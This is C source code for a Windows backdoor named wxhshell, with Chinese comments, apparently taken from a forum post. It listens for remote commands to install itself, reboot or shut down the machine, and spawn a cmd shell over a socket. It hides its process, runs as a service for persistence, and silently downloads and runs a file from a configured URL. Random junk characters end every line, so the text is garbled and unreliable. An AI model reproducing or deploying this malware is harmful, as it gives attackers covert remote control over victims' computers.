    switch(cmd[0]) { g=n{G@*N  
  yw\Q>~$n[=  
  // 帮助 H}?"2jF  
  case '?': { ]lqLC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qz95)  
    break; pLSh +*F  
  } zcGmru|k  
  // 安装 6+!$x?5|NP  
  case 'i': { _0}u0fk  
    if(Install()) cDS \=Bf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >jz9o9?8  
    else Z-:T')#Cf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y*=sboX  
    break; SP.k]@P  
    } 5\V""fH  
  // 卸载 (1 (~r"4I  
  case 'r': { gu|=uW K  
    if(Uninstall()) rtNYX=P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dIW@L  
    else ml@;ngmp.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t'1g+g  
    break; fqjBor}  
    } 't6l@ _x  
  // 显示 wxhshell 所在路径 X!_&%^L'  
  case 'p': { ,?P<=M  
    char svExeFile[MAX_PATH]; \HXq~Y  
    strcpy(svExeFile,"\n\r"); !0dQfj^_  
      strcat(svExeFile,ExeFile); ]~2iducB,  
        send(wsh,svExeFile,strlen(svExeFile),0); ^"<x4e9+j  
    break; =p^$>o  
    } E;}&2 a  
  // 重启 u@1 2:U$  
  case 'b': { }`kiULC'=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~7 `,}) d  
    if(Boot(REBOOT)) UB/"&I uo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l`.z^+!8@  
    else { FQJiLb._Z  
    closesocket(wsh); @Ddz|4vEi  
    ExitThread(0); M6mgJonN|  
    } 6R,Y.srR  
    break; K[kK8i+(  
    } P0yDL:X[  
  // 关机 }4p)UX>aWT  
  case 'd': { l]4=W<N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "I66 @d?  
    if(Boot(SHUTDOWN)) /v^ '5j1o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jYi,oE  
    else { ;89kL]  
    closesocket(wsh); {.542}A  
    ExitThread(0); UAPd["`)y  
    }  4d\^  
    break; N"}>);r  
    } vo f8bQ{&  
  // 获取shell 2HtsSS#0Q  
  case 's': { ]L97k(:Ib  
    CmdShell(wsh); a M9v  
    closesocket(wsh); VE-l6@`  
    ExitThread(0); Ly&+m+Gwu  
    break; ;+<IWDo  
  } lhHH|~t0  
  // 退出 5]>*0#C S  
  case 'x': { p;>A:i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wn.~Dx  
    CloseIt(wsh); T/\RViG3  
    break; R|n  
    } ^#d\HI  
  // 离开 BbI%tmA7  
  case 'q': { < mQXS87  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sSZ)C|Q  
    closesocket(wsh); SK lvZ  
    WSACleanup(); H}$7c`;q  
    exit(1); Hl,{4%]  
    break; N$6e KJ]  
        } H"FK(N\  
  } ,c4HicRJ#  
  } *Jgi=,!m  
2 ^m}5:0  
  // 提示信息 g%&E~V/g$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A#. %7S  
} &]DB-t#\  
  } @ j^R+F  
>\d&LLAe  
  return; Q,[G?vbj  
} Z^_qXerjP  
j{%;n40$  
// shell模块句柄 '{"Rjv7  
int CmdShell(SOCKET sock) ;cXw;$&D  
{ qD{1X25O  
STARTUPINFO si; ~Q&J\'GQH  
ZeroMemory(&si,sizeof(si)); KLyRb0V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q#\Nhc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,X.[37  
PROCESS_INFORMATION ProcessInfo; S@/{34,  
char cmdline[]="cmd"; ^.6[vmmq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Co1d44Q  
  return 0; U?UU] >Q  
} krUtOVI  
cLV*5?gVO  
// 自身启动模式 }R%H?&P  
int StartFromService(void) g&s. 0+  
{ ,U~A=bsa  
typedef struct w:t~M[kTW  
{ =Kd'(ct  
  DWORD ExitStatus; 0$*7lQ<a#M  
  DWORD PebBaseAddress; *'>_XX  
  DWORD AffinityMask; A7% d  
  DWORD BasePriority; k =5k)}i  
  ULONG UniqueProcessId; X' `n>1z  
  ULONG InheritedFromUniqueProcessId; QTy=VLk43  
}   PROCESS_BASIC_INFORMATION; }bb,Iib  
3vY-;&  
PROCNTQSIP NtQueryInformationProcess; vGkem J^/  
/eV)5`V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i#'K7XM2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cnu&!>8V  
E_ wVAz3  
  HANDLE             hProcess; MTu\T  
  PROCESS_BASIC_INFORMATION pbi; K!6T8^JH  
dKzG,/1W[m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $ VT)  
  if(NULL == hInst ) return 0; ^&qK\m_A  
" `qk}n-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Va8 }JD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t%:7W[_s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +F)EGB%LXs  
&<t%u[3  
  if (!NtQueryInformationProcess) return 0; y!b2;- Dp  
o%_-u +  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UD-+BUV  
  if(!hProcess) return 0; Ok!P~2J  
C~&E7w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =t,oj6P~  
2j-l<!s  
  CloseHandle(hProcess); ,;pUBrz/[  
'gY?=,dF>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f Fi=/}  
if(hProcess==NULL) return 0; b 7sfr!t_d  
Ti? "Hr<W  
HMODULE hMod; %r^tZ;; l  
char procName[255]; [j6]!p]S$  
unsigned long cbNeeded; 5iw\F!op:  
Oe Q[-e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mnA_$W3~I  
~cm4e>o  
  CloseHandle(hProcess); zZMKgFR@  
}ILBX4c  
if(strstr(procName,"services")) return 1; // 以服务启动 f#l9rV"@g  
(-S^L'v62v  
  return 0; // 注册表启动 kX L0  
} -53c0g@X  
y3;M$Jr  
// 主模块 v~OMm \  
int StartWxhshell(LPSTR lpCmdLine) o33t~@RX  
{ LH54J;7 Y  
  SOCKET wsl; ;MQl.?vj  
BOOL val=TRUE; kwp%5C-S  
  int port=0; ndFVP;q  
  struct sockaddr_in door; (PPC?6s  
6$OmOCA%  
  if(wscfg.ws_autoins) Install(); : ;8L1'  
-7!L]BcZ.  
port=atoi(lpCmdLine); |Ua);B~F  
r 1HG$^  
if(port<=0) port=wscfg.ws_port; E]Mx<7;\.  
mX>N1zAz  
  WSADATA data; XVN JK-B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e#hg,I  
iY>P7Uvvz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @tSB^&jUWu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2|"D\N  
  door.sin_family = AF_INET; @:im/SE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fln[Q2zl  
  door.sin_port = htons(port); H`M|B<.  
/,S VG1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A,&711Y  
closesocket(wsl); '`;=d<'  
return 1; yMdu Zmkc  
} @(c^u;  
iuj%.}  
  if(listen(wsl,2) == INVALID_SOCKET) { 8d$|JN;)  
closesocket(wsl); :^W}$7$T  
return 1; Z;N3mD+\ye  
} }bRn&)e  
  Wxhshell(wsl); >-V632(/{o  
  WSACleanup(); (Q*x"G#4>  
k5>UAea_  
return 0; @_t=0Rc  
<b'*GBw$  
} <#8}![3Q  
)o:sDj`b]  
// 以NT服务方式启动 Jqzw94  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r<kgYU`  
{ :ek^M (  
DWORD   status = 0; db_Qt'>  
  DWORD   specificError = 0xfffffff; v5@4 |u3ds  
;1yF[<a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5MG4S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %h(%M'm?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IG|u;PH<  
  serviceStatus.dwWin32ExitCode     = 0; W\-`}{B_/  
  serviceStatus.dwServiceSpecificExitCode = 0; 3f$n8>mq  
  serviceStatus.dwCheckPoint       = 0; KaMg [ G  
  serviceStatus.dwWaitHint       = 0; y=pW+$k  
|X*y-d77W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [(a3ljbRX  
  if (hServiceStatusHandle==0) return;  6p@[U>`  
#|8%h  
status = GetLastError(); 74N_>1!j  
  if (status!=NO_ERROR) x0)=jp '  
{ a~@f,bw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oQpGa>6U&  
    serviceStatus.dwCheckPoint       = 0; q|%+?j(  
    serviceStatus.dwWaitHint       = 0; UhDf6A`]  
    serviceStatus.dwWin32ExitCode     = status; I@z@s}x>  
    serviceStatus.dwServiceSpecificExitCode = specificError; u(yN81  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lj|wFV  
    return; zOA~<fhT  
  } fe<7D\Sp@  
6:S, {@G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i `f!)1  
  serviceStatus.dwCheckPoint       = 0; M  hW9^?  
  serviceStatus.dwWaitHint       = 0; ,_H H8[&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '/XP4B\(E  
} CAviP61T  
0\"#Xa+}8  
// 处理NT服务事件,比如:启动、停止 {S+?n[1r\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &/Gn!J;1  
{ l x;87MDs  
switch(fdwControl) ?fP3R':s  
{ bBc<p{  
case SERVICE_CONTROL_STOP: 4D n&+=fq  
  serviceStatus.dwWin32ExitCode = 0; \"RCJadK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d0}(d Gl  
  serviceStatus.dwCheckPoint   = 0; "y*3p0E  
  serviceStatus.dwWaitHint     = 0; At[Q0'jkc  
  { )N~ p4kp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nz3+yxv1  
  } .czUJyFms}  
  return; nu+^D$ait  
case SERVICE_CONTROL_PAUSE: 0+1!-Wo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vb#a ,t  
  break; R=a4zVQ  
case SERVICE_CONTROL_CONTINUE: %E#Ubm!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?(R#  
  break; zd8A8]&-  
case SERVICE_CONTROL_INTERROGATE: 3O4lG e#u  
  break; fnr8{sr.2Z  
}; lr;ubBbT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r)-{~JA!  
} t\QLj&h}E  
jyF*JQjK4  
// 标准应用程序主函数 t oDi70o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1E||ft-1i*  
{ _IOUhMo  
/'.gZo  
// 获取操作系统版本 'ParMT  
OsIsNt=GetOsVer(); *2~WP'~PQd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aqk$4IG  
a%HNz_ro  
  // 从命令行安装 5Hj/7~ =  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6RxI9{ry  
1 Vc_jYO@  
  // 下载执行文件 NL `  
if(wscfg.ws_downexe) { #E=8kbD7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F~E)w5?\O  
  WinExec(wscfg.ws_filenam,SW_HIDE); }OnU32P  
} ZRc^}5}WA  
3 SbZD   
if(!OsIsNt) { tvVf)bbz  
// 如果时win9x,隐藏进程并且设置为注册表启动 _hl| 3 eW5  
HideProc(); (t&`m[>K  
StartWxhshell(lpCmdLine); Jia@HrLR  
} u=s,bt,"5  
else k0\a7$}F  
  if(StartFromService()) c-NUD$  
  // 以服务方式启动 _8K8Ai-~.>  
  StartServiceCtrlDispatcher(DispatchTable); 7;'UC','  
else !<j4*av:G  
  // 普通方式启动 IMdp"  
  StartWxhshell(lpCmdLine); KLG.?`h:  
Rl0"9D87z  
return 0; |zfFB7}v  
}
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只看该作者 1 发表于: 2006-10-10
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